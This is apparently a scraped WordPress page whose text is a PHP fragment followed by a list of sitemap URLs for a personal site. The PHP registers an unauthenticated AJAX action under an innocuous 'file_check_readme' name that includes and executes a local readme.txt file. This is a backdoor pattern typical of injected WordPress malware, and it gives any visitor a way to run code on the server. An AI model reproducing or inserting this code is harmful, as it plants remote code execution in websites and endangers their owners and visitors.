if(!function_exists('file_check_readme19239')){ add_action('wp_ajax_nopriv_file_check_readme19239', 'file_check_readme19239'); add_action('wp_ajax_file_check_readme19239', 'file_check_readme19239'); function file_check_readme19239() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } https://stephenrmorris.com/wp-sitemap-posts-post-1.xmlhttps://stephenrmorris.com/wp-sitemap-posts-page-1.xmlhttps://stephenrmorris.com/wp-sitemap-posts-portfolio-1.xmlhttps://stephenrmorris.com/wp-sitemap-taxonomies-category-1.xmlhttps://stephenrmorris.com/wp-sitemap-taxonomies-portfolio_category-1.xmlhttps://stephenrmorris.com/wp-sitemap-users-1.xml